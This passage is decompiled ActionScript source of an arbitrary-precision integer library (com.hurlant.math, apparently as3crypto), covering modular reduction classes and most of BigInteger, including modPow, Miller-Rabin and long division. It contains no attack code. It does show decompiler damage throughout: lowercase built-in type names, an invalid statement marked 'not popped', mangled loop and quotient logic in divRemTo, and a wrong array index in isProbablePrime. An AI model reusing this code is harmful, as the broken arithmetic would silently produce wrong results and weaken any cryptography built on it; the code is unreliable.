        function mulTo(_arg1:BigInteger, _arg2:BigInteger, _arg3:BigInteger):void;



    }

}//package com.hurlant.math

&#65279;package com.hurlant.math {

    import com.hurlant.math.*;



    class ClassicReduction implements IReduction {



        private var m:BigInteger;



        public function ClassicReduction(_arg1:BigInteger){

            this.m = _arg1;

        }

        public function revert(_arg1:BigInteger):BigInteger{

            return (_arg1);

        }

        public function reduce(_arg1:BigInteger):void{

            _arg1.divRemTo(m, null, _arg1);

        }

        public function convert(_arg1:BigInteger):BigInteger{

            if ((((_arg1.s < 0)) || ((_arg1.compareTo(m) >= 0)))){

                return (_arg1.mod(m));

            };

            return (_arg1);

        }

        public function sqrTo(_arg1:BigInteger, _arg2:BigInteger):void{

            _arg1.squareTo(_arg2);

            reduce(_arg2);

        }

        public function mulTo(_arg1:BigInteger, _arg2:BigInteger, _arg3:BigInteger):void{

            _arg1.multiplyTo(_arg2, _arg3);

            reduce(_arg3);

        }



    }

}//package com.hurlant.math

&#65279;package com.hurlant.math {



    public class NullReduction implements IReduction {



        public function reduce(_arg1:BigInteger):void{

        }

        public function revert(_arg1:BigInteger):BigInteger{

            return (_arg1);

        }

        public function mulTo(_arg1:BigInteger, _arg2:BigInteger, _arg3:BigInteger):void{

            _arg1.multiplyTo(_arg2, _arg3);

        }

        public function convert(_arg1:BigInteger):BigInteger{

            return (_arg1);

        }

        public function sqrTo(_arg1:BigInteger, _arg2:BigInteger):void{

            _arg1.squareTo(_arg2);

        }



    }

}//package com.hurlant.math

&#65279;package com.hurlant.math {



    public namespace bi_internal = "http://crypto.hurlant.com/BigInteger";

}//package com.hurlant.math

&#65279;package com.hurlant.math {

    import com.hurlant.math.*;



    class BarrettReduction implements IReduction {



        private var r2:BigInteger;

        private var q3:BigInteger;

        private var mu:BigInteger;

        private var m:BigInteger;



        public function BarrettReduction(_arg1:BigInteger){

            r2 = new BigInteger();

            q3 = new BigInteger();

            BigInteger.ONE.dlShiftTo((2 * _arg1.t), r2);

            mu = r2.divide(_arg1);

            this.m = _arg1;

        }

        public function reduce(_arg1:BigInteger):void{

            var _local2:BigInteger;

            _local2 = (_arg1 as BigInteger);

            _local2.drShiftTo((m.t - 1), r2);

            if (_local2.t > (m.t + 1)){

                _local2.t = (m.t + 1);

                _local2.clamp();

            };

            mu.multiplyUpperTo(r2, (m.t + 1), q3);

            m.multiplyLowerTo(q3, (m.t + 1), r2);

            while (_local2.compareTo(r2) < 0) {

                _local2.dAddOffset(1, (m.t + 1));

            };

            _local2.subTo(r2, _local2);

            while (_local2.compareTo(m) >= 0) {

                _local2.subTo(m, _local2);

            };

        }

        public function revert(_arg1:BigInteger):BigInteger{

            return (_arg1);

        }

        public function convert(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            if ((((_arg1.s < 0)) || ((_arg1.t > (2 * m.t))))){

                return (_arg1.mod(m));

            };

            if (_arg1.compareTo(m) < 0){

                return (_arg1);

            };

            _local2 = new BigInteger();

            _arg1.copyTo(_local2);

            reduce(_local2);

            return (_local2);

        }

        public function sqrTo(_arg1:BigInteger, _arg2:BigInteger):void{

            _arg1.squareTo(_arg2);

            reduce(_arg2);

        }

        public function mulTo(_arg1:BigInteger, _arg2:BigInteger, _arg3:BigInteger):void{

            _arg1.multiplyTo(_arg2, _arg3);

            reduce(_arg3);

        }



    }

}//package com.hurlant.math

&#65279;package com.hurlant.math {

    import flash.utils.*;

    import com.hurlant.crypto.prng.*;

    import com.hurlant.util.*;



    public class BigInteger {



        public static const ONE:BigInteger = nbv(1);

        public static const ZERO:BigInteger = nbv(0);

        public static const DM:int = (DV - 1);

        public static const F1:int = 22;

        public static const F2:int = 8;

        public static const lplim:int = ((1 << 26) / lowprimes[(lowprimes.length - 1)]);

        public static const lowprimes:array = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 0x0101, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509];

        public static const FV:number = math.pow(2, BI_FP);

        public static const BI_FP:int = 52;

        public static const DV:int = (1 << DB);

        public static const DB:int = 30;



        bi_internal var a:array;

        bi_internal var s:int;

        public var t:int;



        public function BigInteger(_arg1=null, _arg2:int=0){

            var _local3:ByteArray;

            var _local4:int;

            super();

            a = new array();

            if ((_arg1 is string)){

                _arg1 = Hex.toArray(_arg1);

                _arg2 = 0;

            };

            if ((_arg1 is ByteArray)){

                _local3 = (_arg1 as ByteArray);

                _local4 = ((_arg2) || ((_local3.length - _local3.position)));

                fromArray(_local3, _local4);

            };

        }

        public static function nbv(_arg1:int):BigInteger{

            var _local2:BigInteger;

            _local2 = new (BigInteger)();

            _local2.fromInt(_arg1);

            return (_local2);

        }



        public function clearBit(_arg1:int):BigInteger{

            return (changeBit(_arg1, op_andnot));

        }

        public function negate():BigInteger{

            var _local1:BigInteger;

            _local1 = nbi();

            ZERO.subTo(this, _local1);

            return (_local1);

        }

        public function andNot(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            _local2 = new BigInteger();

            bitwiseTo(_arg1, op_andnot, _local2);

            return (_local2);

        }

        public function modPow(_arg1:BigInteger, _arg2:BigInteger):BigInteger{

            var _local3:int;

            var _local4:int;

            var _local5:BigInteger;

            var _local6:IReduction;

            var _local7:array;

            var _local8:int;

            var _local9:int;

            var _local10:int;

            var _local11:int;

            var _local12:int;

            var _local13:boolean;

            var _local14:BigInteger;

            var _local15:BigInteger;

            var _local16:BigInteger;

            _local3 = _arg1.bitLength();

            _local5 = nbv(1);

            if (_local3 <= 0){

                return (_local5);

            };

            if (_local3 < 18){

                _local4 = 1;

            } else {

                if (_local3 < 48){

                    _local4 = 3;

                } else {

                    if (_local3 < 144){

                        _local4 = 4;

                    } else {

                        if (_local3 < 0x0300){

                            _local4 = 5;

                        } else {

                            _local4 = 6;

                        };

                    };

                };

            };

            if (_local3 < 8){

                _local6 = new ClassicReduction(_arg2);

            } else {

                if (_arg2.isEven()){

                    _local6 = new BarrettReduction(_arg2);

                } else {

                    _local6 = new MontgomeryReduction(_arg2);

                };

            };

            _local7 = [];

            _local8 = 3;

            _local9 = (_local4 - 1);

            _local10 = ((1 << _local4) - 1);

            _local7[1] = _local6.convert(this);

            if (_local4 > 1){

                _local16 = new BigInteger();

                _local6.sqrTo(_local7[1], _local16);

                while (_local8 <= _local10) {

                    _local7[_local8] = new BigInteger();

                    _local6.mulTo(_local16, _local7[(_local8 - 2)], _local7[_local8]);

                    _local8 = (_local8 + 2);

                };

            };

            _local11 = (_arg1.t - 1);

            _local13 = true;

            _local14 = new BigInteger();

            _local3 = (nbits(_arg1.a[_local11]) - 1);

            while (_local11 >= 0) {

                if (_local3 >= _local9){

                    _local12 = ((_arg1.a[_local11] >> (_local3 - _local9)) & _local10);

                } else {

                    _local12 = ((_arg1.a[_local11] & ((1 << (_local3 + 1)) - 1)) << (_local9 - _local3));

                    if (_local11 > 0){

                        _local12 = (_local12 | (_arg1.a[(_local11 - 1)] >> ((DB + _local3) - _local9)));

                    };

                };

                _local8 = _local4;

                while ((_local12 & 1) == 0) {

                    _local12 = (_local12 >> 1);

                    _local8--;

                };

                _local3 = (_local3 - _local8);

                if (_local3 < 0){

                    _local3 = (_local3 + DB);

                    _local11--;

                };

                if (_local13){

                    _local7[_local12].copyTo(_local5);

                    _local13 = false;

                } else {

                    while (_local8 > 1) {

                        _local6.sqrTo(_local5, _local14);

                        _local6.sqrTo(_local14, _local5);

                        _local8 = (_local8 - 2);

                    };

                    if (_local8 > 0){

                        _local6.sqrTo(_local5, _local14);

                    } else {

                        _local15 = _local5;

                        _local5 = _local14;

                        _local14 = _local15;

                    };

                    _local6.mulTo(_local14, _local7[_local12], _local5);

                };

                while ((((_local11 >= 0)) && (((_arg1.a[_local11] & (1 << _local3)) == 0)))) {

                    _local6.sqrTo(_local5, _local14);

                    _local15 = _local5;

                    _local5 = _local14;

                    _local14 = _local15;

                    --_local3;

                    if (_local3 < 0){

                        _local3 = (DB - 1);

                        _local11--;

                    };

                };

            };

            return (_local6.revert(_local5));

        }

        public function isProbablePrime(_arg1:int):boolean{

            var _local2:int;

            var _local3:BigInteger;

            var _local4:int;

            var _local5:int;

            _local3 = abs();

            if ((((_local3.t == 1)) && ((_local3.a[0] <= lowprimes[(lowprimes.length - 1)])))){

                _local2 = 0;

                while (_local2 < lowprimes.length) {

                    if (_local3[0] == lowprimes[_local2]){

                        return (true);

                    };

                    _local2++;

                };

                return (false);

            };

            if (_local3.isEven()){

                return (false);

            };

            _local2 = 1;

            while (_local2 < lowprimes.length) {

                _local4 = lowprimes[_local2];

                _local5 = (_local2 + 1);

                while ((((_local5 < lowprimes.length)) && ((_local4 < lplim)))) {

                    var _temp1 = _local5;

                    _local5 = (_local5 + 1);

                    _local4 = (_local4 * lowprimes[_temp1]);

                };

                _local4 = _local3.modInt(_local4);

                while (_local2 < _local5) {

                    var _temp2 = _local4;

                    var _temp3 = _local2;

                    _local2 = (_local2 + 1);

                    if ((_temp2 % lowprimes[_temp3]) == 0){

                        return (false);

                    };

                };

            };

            return (_local3.millerRabin(_arg1));

        }

        private function op_or(_arg1:int, _arg2:int):int{

            return ((_arg1 | _arg2));

        }

        public function mod(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            _local2 = nbi();

            abs().divRemTo(_arg1, null, _local2);

            if ((((s < 0)) && ((_local2.compareTo(ZERO) > 0)))){

                _arg1.subTo(_local2, _local2);

            };

            return (_local2);

        }

        protected function addTo(_arg1:BigInteger, _arg2:BigInteger):void{

            var _local3:int;

            var _local4:int;

            var _local5:int;

            _local3 = 0;

            _local4 = 0;

            _local5 = math.min(_arg1.t, t);

            while (_local3 < _local5) {

                _local4 = (_local4 + (this.a[_local3] + _arg1.a[_local3]));

                var _temp1 = _local3;

                _local3 = (_local3 + 1);

                var _local6 = _temp1;

                _arg2.a[_local6] = (_local4 & DM);

                _local4 = (_local4 >> DB);

            };

            if (_arg1.t < t){

                _local4 = (_local4 + _arg1.s);

                while (_local3 < t) {

                    _local4 = (_local4 + this.a[_local3]);

                    var _temp2 = _local3;

                    _local3 = (_local3 + 1);

                    _local6 = _temp2;

                    _arg2.a[_local6] = (_local4 & DM);

                    _local4 = (_local4 >> DB);

                };

                _local4 = (_local4 + s);

            } else {

                _local4 = (_local4 + s);

                while (_local3 < _arg1.t) {

                    _local4 = (_local4 + _arg1.a[_local3]);

                    var _temp3 = _local3;

                    _local3 = (_local3 + 1);

                    _local6 = _temp3;

                    _arg2.a[_local6] = (_local4 & DM);

                    _local4 = (_local4 >> DB);

                };

                _local4 = (_local4 + _arg1.s);

            };

            _arg2.s = ((_local4)<0) ? -1 : 0;

            if (_local4 > 0){

                var _temp4 = _local3;

                _local3 = (_local3 + 1);

                _local6 = _temp4;

                _arg2.a[_local6] = _local4;

            } else {

                if (_local4 < -1){

                    var _temp5 = _local3;

                    _local3 = (_local3 + 1);

                    _local6 = _temp5;

                    _arg2.a[_local6] = (DV + _local4);

                };

            };

            _arg2.t = _local3;

            _arg2.clamp();

        }

        protected function bitwiseTo(_arg1:BigInteger, _arg2:function, _arg3:BigInteger):void{

            var _local4:int;

            var _local5:int;

            var _local6:int;

            _local6 = math.min(_arg1.t, t);

            _local4 = 0;

            while (_local4 < _local6) {

                _arg3.a[_local4] = _arg2(this.a[_local4], _arg1.a[_local4]);

                _local4++;

            };

            if (_arg1.t < t){

                _local5 = (_arg1.s & DM);

                _local4 = _local6;

                while (_local4 < t) {

                    _arg3.a[_local4] = _arg2(this.a[_local4], _local5);

                    _local4++;

                };

                _arg3.t = t;

            } else {

                _local5 = (s & DM);

                _local4 = _local6;

                while (_local4 < _arg1.t) {

                    _arg3.a[_local4] = _arg2(_local5, _arg1.a[_local4]);

                    _local4++;

                };

                _arg3.t = _arg1.t;

            };

            _arg3.s = _arg2(s, _arg1.s);

            _arg3.clamp();

        }

        protected function modInt(_arg1:int):int{

            var _local2:int;

            var _local3:int;

            var _local4:int;

            if (_arg1 <= 0){

                return (0);

            };

            _local2 = (DV % _arg1);

            _local3 = ((s)<0) ? (_arg1 - 1) : 0;

            if (t > 0){

                if (_local2 == 0){

                    _local3 = (a[0] % _arg1);

                } else {

                    _local4 = (t - 1);

                    while (_local4 >= 0) {

                        _local3 = (((_local2 * _local3) + a[_local4]) % _arg1);

                        _local4--;

                    };

                };

            };

            return (_local3);

        }

        protected function chunkSize(_arg1:number):int{

            return (math.floor(((math.ln2 * DB) / math.log(_arg1))));

        }

        bi_internal function dAddOffset(_arg1:int, _arg2:int):void{

            while (t <= _arg2) {

                var _local3 = t++;

                a[_local3] = 0;

            };

            a[_arg2] = (a[_arg2] + _arg1);

            while (a[_arg2] >= DV) {

                a[_arg2] = (a[_arg2] - DV);

                ++_arg2;

                if (_arg2 >= t){

                    _local3 = t++;

                    a[_local3] = 0;

                };

                _local3 = a;

                var _local4 = _arg2;

                var _local5 = (_local3[_local4] + 1);

                _local3[_local4] = _local5;

            };

        }

        bi_internal function lShiftTo(_arg1:int, _arg2:BigInteger):void{

            var _local3:int;

            var _local4:int;

            var _local5:int;

            var _local6:int;

            var _local7:int;

            var _local8:int;

            _local3 = (_arg1 % DB);

            _local4 = (DB - _local3);

            _local5 = ((1 << _local4) - 1);

            _local6 = (_arg1 / DB);

            _local7 = ((s << _local3) & DM);

            _local8 = (t - 1);

            while (_local8 >= 0) {

                _arg2.a[((_local8 + _local6) + 1)] = ((a[_local8] >> _local4) | _local7);

                _local7 = ((a[_local8] & _local5) << _local3);

                _local8--;

            };

            _local8 = (_local6 - 1);

            while (_local8 >= 0) {

                _arg2.a[_local8] = 0;

                _local8--;

            };

            _arg2.a[_local6] = _local7;

            _arg2.t = ((t + _local6) + 1);

            _arg2.s = s;

            _arg2.clamp();

        }

        public function getLowestSetBit():int{

            var _local1:int;

            _local1 = 0;

            while (_local1 < t) {

                if (a[_local1] != 0){

                    return (((_local1 * DB) + lbit(a[_local1])));

                };

                _local1++;

            };

            if (s < 0){

                return ((t * DB));

            };

            return (-1);

        }

        public function subtract(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            _local2 = new BigInteger();

            subTo(_arg1, _local2);

            return (_local2);

        }

        public function primify(_arg1:int, _arg2:int):void{

            if (!testBit((_arg1 - 1))){

                bitwiseTo(BigInteger.ONE.shiftLeft((_arg1 - 1)), op_or, this);

            };

            if (isEven()){

                dAddOffset(1, 0);

            };

            while (!(isProbablePrime(_arg2))) {

                dAddOffset(2, 0);

                while (bitLength() > _arg1) {

                    subTo(BigInteger.ONE.shiftLeft((_arg1 - 1)), this);

                };

            };

        }

        public function gcd(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            var _local3:BigInteger;

            var _local4:int;

            var _local5:int;

            var _local6:BigInteger;

            _local2 = ((s)<0) ? negate() : clone();

            _local3 = ((_arg1.s)<0) ? _arg1.negate() : _arg1.clone();

            if (_local2.compareTo(_local3) < 0){

                _local6 = _local2;

                _local2 = _local3;

                _local3 = _local6;

            };

            _local4 = _local2.getLowestSetBit();

            _local5 = _local3.getLowestSetBit();

            if (_local5 < 0){

                return (_local2);

            };

            if (_local4 < _local5){

                _local5 = _local4;

            };

            if (_local5 > 0){

                _local2.rShiftTo(_local5, _local2);

                _local3.rShiftTo(_local5, _local3);

            };

            while (_local2.sigNum() > 0) {

                _local4 = _local2.getLowestSetBit();

                if (_local4 > 0){

                    _local2.rShiftTo(_local4, _local2);

                };

                _local4 = _local3.getLowestSetBit();

                if (_local4 > 0){

                    _local3.rShiftTo(_local4, _local3);

                };

                if (_local2.compareTo(_local3) >= 0){

                    _local2.subTo(_local3, _local2);

                    _local2.rShiftTo(1, _local2);

                } else {

                    _local3.subTo(_local2, _local3);

                    _local3.rShiftTo(1, _local3);

                };

            };

            if (_local5 > 0){

                _local3.lShiftTo(_local5, _local3);

            };

            return (_local3);

        }

        bi_internal function multiplyLowerTo(_arg1:BigInteger, _arg2:int, _arg3:BigInteger):void{

            var _local4:int;

            var _local5:int;

            _local4 = math.min((t + _arg1.t), _arg2);

            _arg3.s = 0;

            _arg3.t = _local4;

            while (_local4 > 0) {

                --_local4;

                var _local6 = _local4;

                _arg3.a[_local6] = 0;

            };

            _local5 = (_arg3.t - t);

            while (_local4 < _local5) {

                _arg3.a[(_local4 + t)] = am(0, _arg1.a[_local4], _arg3, _local4, 0, t);

                _local4++;

            };

            _local5 = math.min(_arg1.t, _arg2);

            while (_local4 < _local5) {

                am(0, _arg1.a[_local4], _arg3, _local4, 0, (_arg2 - _local4));

                _local4++;

            };

            _arg3.clamp();

        }

        public function modPowInt(_arg1:int, _arg2:BigInteger):BigInteger{

            var _local3:IReduction;

            if ((((_arg1 < 0x0100)) || (_arg2.isEven()))){

                _local3 = new ClassicReduction(_arg2);

            } else {

                _local3 = new MontgomeryReduction(_arg2);

            };

            return (exp(_arg1, _local3));

        }

        bi_internal function intAt(_arg1:string, _arg2:int):int{

            return (parseint(_arg1.charat(_arg2), 36));

        }

        public function testBit(_arg1:int):boolean{

            var _local2:int;

            _local2 = math.floor((_arg1 / DB));

            if (_local2 >= t){

                return (!((s == 0)));

            };

            return (!(((a[_local2] & (1 << (_arg1 % DB))) == 0)));

        }

        bi_internal function exp(_arg1:int, _arg2:IReduction):BigInteger{

            var _local3:BigInteger;

            var _local4:BigInteger;

            var _local5:BigInteger;

            var _local6:int;

            var _local7:BigInteger;

            if ((((_arg1 > 0xFFFFFFFF)) || ((_arg1 < 1)))){

                return (ONE);

            };

            _local3 = nbi();

            _local4 = nbi();

            _local5 = _arg2.convert(this);

            _local6 = (nbits(_arg1) - 1);

            _local5.copyTo(_local3);

            while (--_local6 >= 0) {

                _arg2.sqrTo(_local3, _local4);

                if ((_arg1 & (1 << _local6)) > 0){

                    _arg2.mulTo(_local4, _local5, _local3);

                } else {

                    _local7 = _local3;

                    _local3 = _local4;

                    _local4 = _local7;

                };

            };

            return (_arg2.revert(_local3));

        }

        public function toArray(_arg1:ByteArray):uint{

            var _local2:int;

            var _local3:int;

            var _local4:int;

            var _local5:int;

            var _local6:int;

            var _local7:boolean;

            var _local8:int;

            _local2 = 8;

            _local3 = ((1 << 8) - 1);

            _local4 = 0;

            _local5 = t;

            _local6 = (DB - ((_local5 * DB) % _local2));

            _local7 = false;

            _local8 = 0;

            var _temp1 = _local5;

            _local5 = (_local5 - 1);

            if (_temp1 > 0){

                if ((((_local6 < DB)) && (((_local4 = (a[_local5] >> _local6)) > 0)))){

                    _local7 = true;

                    _arg1.writeByte(_local4);

                    _local8++;

                };

                while (_local5 >= 0) {

                    if (_local6 < _local2){

                        _local4 = ((a[_local5] & ((1 << _local6) - 1)) << (_local2 - _local6));

                        var _temp2 = _local4;

                        _local5 = (_local5 - 1);

                        _local6 = (_local6 + (DB - _local2));

                        _local4 = (_temp2 | (a[_local5] >> _local6));

                    } else {

                        _local6 = (_local6 - _local2);

                        _local4 = ((a[_local5] >> _local6) & _local3);

                        if (_local6 <= 0){

                            _local6 = (_local6 + DB);

                            _local5--;

                        };

                    };

                    if (_local4 > 0){

                        _local7 = true;

                    };

                    if (_local7){

                        _arg1.writeByte(_local4);

                        _local8++;

                    };

                };

            };

            return (_local8);

        }

        public function dispose():void{

            var _local1:random;

            var _local2:uint;

            _local1 = new random();

            _local2 = 0;

            while (_local2 < a.length) {

                a[_local2] = _local1.nextByte();

                delete a[_local2];

                _local2++;

            };

            a = null;

            t = 0;

            s = 0;

            Memory.gc();

        }

        private function lbit(_arg1:int):int{

            var _local2:int;

            if (_arg1 == 0){

                return (-1);

            };

            _local2 = 0;

            if ((_arg1 & 0xFFFF) == 0){

                _arg1 = (_arg1 >> 16);

                _local2 = (_local2 + 16);

            };

            if ((_arg1 & 0xFF) == 0){

                _arg1 = (_arg1 >> 8);

                _local2 = (_local2 + 8);

            };

            if ((_arg1 & 15) == 0){

                _arg1 = (_arg1 >> 4);

                _local2 = (_local2 + 4);

            };

            if ((_arg1 & 3) == 0){

                _arg1 = (_arg1 >> 2);

                _local2 = (_local2 + 2);

            };

            if ((_arg1 & 1) == 0){

                _local2++;

            };

            return (_local2);

        }

        bi_internal function divRemTo(_arg1:BigInteger, _arg2:BigInteger=null, _arg3:BigInteger=null):void{

            var pm:* = null;

            var pt:* = null;

            var y:* = null;

            var ts:* = 0;

            var ms:* = 0;

            var nsh:* = 0;

            var ys:* = 0;

            var y0:* = 0;

            var yt:* = nan;

            var d1:* = nan;

            var d2:* = nan;

            var e:* = nan;

            var i:* = 0;

            var j:* = 0;

            var t:* = null;

            var qd:* = 0;

            var m:* = _arg1;

            var q = _arg2;

            var r = _arg3;

            pm = m.abs();

            if (pm.t <= 0){

                return;

            };

            pt = abs();

            if (pt.t < pm.t){

                if (q != null){

                    q.fromInt(0);

                };

                if (r != null){

                    copyTo(r);

                };

                return;

            };

            if (r == null){

                r = nbi();

            };

            y = nbi();

            ts = s;

            ms = m.s;

            nsh = (DB - nbits(pm.a[(pm.t - 1)]));

            if (nsh > 0){

                pm.lShiftTo(nsh, y);

                pt.lShiftTo(nsh, r);

            } else {

                pm.copyTo(y);

                pt.copyTo(r);

            };

            ys = y.t;

            y0 = y.a[(ys - 1)];

            if (y0 == 0){

                return;

            };

            yt = ((y0 * (1 << F1)) + ((ys)>1) ? (y.a[(ys - 2)] >> F2) : 0);

            d1 = (FV / yt);

            d2 = ((1 << F1) / yt);

            e = (1 << F2);

            i = r.t;

            j = (i - ys);

            t = ((q)==null) ? nbi() : q;

            y.dlShiftTo(j, t);

            if (r.compareTo(t) >= 0){

                var _local5 = r.t++;

                r.a[_local5] = 1;

                r.subTo(t, r);

            };

            ONE.dlShiftTo(ys, t);

            t.subTo(y, y);

            while (y.t < ys) {

                y.(y.t++); //not popped

            };

            while ((j = (j - 1)), (j - 1) >= 0) {

                i = (i - 1);

                qd = ((r.a[(i - 1)])==y0) ? DM : ((number(r.a[i]) * d1) + ((number(r.a[(i - 1)]) + e) * d2));

                if ((r.a[i] = (r.a[i] + y.am(0, qd, r, j, 0, ys))) < qd){

                    y.dlShiftTo(j, t);

                    r.subTo(t, r);

                    while ((qd = (qd - 1)), r.a[i] < (qd - 1)) {

                        r.subTo(t, r);

                    };

                };

            };

            if (q != null){

                r.drShiftTo(ys, q);

                if (ts != ms){

                    ZERO.subTo(q, q);

                };

            };

            r.t = ys;

            r.clamp();

            if (nsh > 0){

                r.rShiftTo(nsh, r);

            };

            if (ts < 0){

                ZERO.subTo(r, r);

            };

        }

        public function remainder(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            _local2 = new BigInteger();

            divRemTo(_arg1, null, _local2);

            return (_local2);

        }

        public function divide(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            _local2 = new BigInteger();

            divRemTo(_arg1, _local2, null);

            return (_local2);

        }

        public function divideAndRemainder(_arg1:BigInteger):array{

            var _local2:BigInteger;

            var _local3:BigInteger;

            _local2 = new BigInteger();

            _local3 = new BigInteger();

            divRemTo(_arg1, _local2, _local3);

            return ([_local2, _local3]);

        }

        public function valueof():number{

            var _local1:number;

            var _local2:number;

            var _local3:uint;

            _local1 = 1;

            _local2 = 0;

            _local3 = 0;

            while (_local3 < t) {

                _local2 = (_local2 + (a[_local3] * _local1));

                _local1 = (_local1 * DV);

                _local3++;

            };

            return (_local2);

        }

        public function shiftLeft(_arg1:int):BigInteger{

            var _local2:BigInteger;

            _local2 = new BigInteger();

            if (_arg1 < 0){

                rShiftTo(-(_arg1), _local2);

            } else {

                lShiftTo(_arg1, _local2);

            };

            return (_local2);

        }

        public function multiply(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            _local2 = new BigInteger();

            multiplyTo(_arg1, _local2);

            return (_local2);

        }

        bi_internal function am(_arg1:int, _arg2:int, _arg3:BigInteger, _arg4:int, _arg5:int, _arg6:int):int{

            var _local7:int;

            var _local8:int;

            var _local9:int;

            var _local10:int;

            var _local11:int;

            _local7 = (_arg2 & 32767);

            _local8 = (_arg2 >> 15);

            while (--_arg6 >= 0) {

                _local9 = (a[_arg1] & 32767);

                var _temp1 = _arg1;

                _arg1 = (_arg1 + 1);

                _local10 = (a[_temp1] >> 15);

                _local11 = ((_local8 * _local9) + (_local10 * _local7));

                _local9 = ((((_local7 * _local9) + ((_local11 & 32767) << 15)) + _arg3.a[_arg4]) + (_arg5 & 1073741823));

                _arg5 = ((((_local9 >>> 30) + (_local11 >>> 15)) + (_local8 * _local10)) + (_arg5 >>> 30));

                var _temp2 = _arg4;

                _arg4 = (_arg4 + 1);

                var _local12 = _temp2;

                _arg3.a[_local12] = (_local9 & 1073741823);

            };

            return (_arg5);

        }

        bi_internal function drShiftTo(_arg1:int, _arg2:BigInteger):void{

            var _local3:int;

            _local3 = _arg1;

            while (_local3 < t) {

                _arg2.a[(_local3 - _arg1)] = a[_local3];

                _local3++;

            };

            _arg2.t = math.max((t - _arg1), 0);

            _arg2.s = s;

        }

        public function add(_arg1:BigInteger):BigInteger{

            var _local2:BigInteger;

            _local2 = new BigInteger();

            addTo(_arg1, _local2);

            return (_local2);

        }

        bi_internal function multiplyUpperTo(_arg1:BigInteger, _arg2:int, _arg3:BigInteger):void{

            var _local4:int;

            _arg2--;

            _local4 = (_arg3.t = ((t + _arg1.t) - _arg2));

            _arg3.s = 0;

            while (--_local4 >= 0) {

                _arg3.a[_local4] = 0;

            };

            _local4 = math.max((_arg2 - t), 0);

            while (_local4 < _arg1.t) {

                _arg3.a[((t + _local4) - _arg2)] = am((_arg2 - _local4), _arg1.a[_local4], _arg3, 0, 0, ((t + _local4) - _arg2));

                _local4++;

            };

            _arg3.clamp();

            _arg3.drShiftTo(1, _arg3);

        }

        protected function nbi(){

            return (new BigInteger());

        }

        protected function millerRabin(_arg1:int):boolean{

            var _local2:BigInteger;

            var _local3:int;

            var _local4:BigInteger;

            var _local5:BigInteger;

            var _local6:int;

            var _local7:BigInteger;

            var _local8:int;

            _local2 = subtract(BigInteger.ONE);

            _local3 = _local2.getLowestSetBit();

            if (_local3 <= 0){

                return (false);

            };

            _local4 = _local2.shiftRight(_local3);

            _arg1 = ((_arg1 + 1) >> 1);

            if (_arg1 > lowprimes.length){

                _arg1 = lowprimes.length;

            };

            _local5 = new BigInteger();

            _local6 = 0;

            while (_local6 < _arg1) {

                _local5.fromInt(lowprimes[_local6]);

                _local7 = _local5.modPow(_local4, this);

                if (((!((_local7.compareTo(BigInteger.ONE) == 0))) && (!((_local7.compareTo(_local2) == 0))))){

                    _local8 = 1;

                    while ((((_local8++ < _local3)) && (!((_local7.compareTo(_local2) == 0))))) {

                        _local7 = _local7.modPowInt(2, this);

                        if (_local7.compareTo(BigInteger.ONE) == 0){

                            return (false);

                        };

                    };

                    if (_local7.compareTo(_local2) != 0){

                        return (false);

                    };

                };

                _local6++;

            };

            return (true);

        }

        bi_internal function dMultiply(_arg1:int):void{

            a[t] = am(0, (_arg1 - 1), this, 0, 0, t);

            t++;

            clamp();

        }

        private function op_andnot(_arg1:int, _arg2:int):int{

            return ((_arg1 & ~(_arg2)));

        }

        bi_internal function clamp():void{

            var _local1:int;

            _local1 = (s & DM);

            while ((((t > 0)) && ((a[(t - 1)] == _local1)))) {

                t--;

            };

        }

        bi_internal function invDigit():int{

            var _local1:int;

            var _local2:int;

            if (t < 1){

                return (0);

            };

            _local1 = a[0];

            if ((_local1 & 1) == 0){

                return (0);

            };

            _local2 = (_local1 & 3);

            _local2 = ((_local2 * (2 - ((_local1 & 15) * _local2))) & 15);

            _local2 = ((_local2 * (2 - ((_local1 & 0xFF) * _local2))) & 0xFF);

            _local2 = ((_local2 * (2 - (((_local1 & 0xFFFF) * _local2) & 0xFFFF))) & 0xFFFF);

            _local2 = ((_local2 * (2 - ((_local1 * _local2) % DV))) % DV);

            return (((_local2)>0) ? (DV - _local2) : -(_local2));

        }

        protected function changeBit(_arg1:int, _arg2:function):BigInteger{

            var _local3:BigInteger;

            _local3 = BigInteger.ONE.shiftLeft(_arg1);

            bitwiseTo(_local3, _arg2, _local3);

            return (_local3);

        }

        public function equals(_arg1:BigInteger):boolean{

            return ((compareTo(_arg1) == 0));

        }

        public function compareTo(_arg1:BigInteger):int{

            var _local2:int;

            var _local3:int;

            _local2 = (s - _arg1.s);

            if (_local2 != 0){

                return (_local2);

            };

            _local3 = t;

            _local2 = (_local3 - _arg1.t);

            if (_local2 != 0){

                return (_local2);

            };

            while (--_local3 >= 0) {

                _local2 = (a[_local3] - _arg1.a[_local3]);

                if (_local2 != 0){

                    return (_local2);

                };

            };

            return (0);

        }

        public function shiftRight(_arg1:int):BigInteger{

            var _local2:BigInteger;

            _local2 = new BigInteger();

            if (_arg1 < 0){

                lShiftTo(-(_arg1), _local2);

            } else {

                rShiftTo(_arg1, _local2);

            };

            return (_local2);

        }

        bi_internal function multiplyTo(_arg1:BigInteger, _arg2:BigInteger):void{

            var _local3:BigInteger;

            var _local4:BigInteger;

            var _local5:int;

            _local3 = abs();

            _local4 = _arg1.abs();

            _local5 = _local3.t;

            _arg2.t = (_local5 + _local4.t);

            while (--_local5 >= 0) {

                _arg2.a[_local5] = 0;

            };

            _local5 = 0;

            while (_local5 < _local4.t) {

                _arg2.a[(_local5 + _local3.t)] = _local3.am(0, _local4.a[_local5], _arg2, _local5, 0, _local3.t);

                _local5++;

            };

            _arg2.s = 0;

            _arg2.clamp();

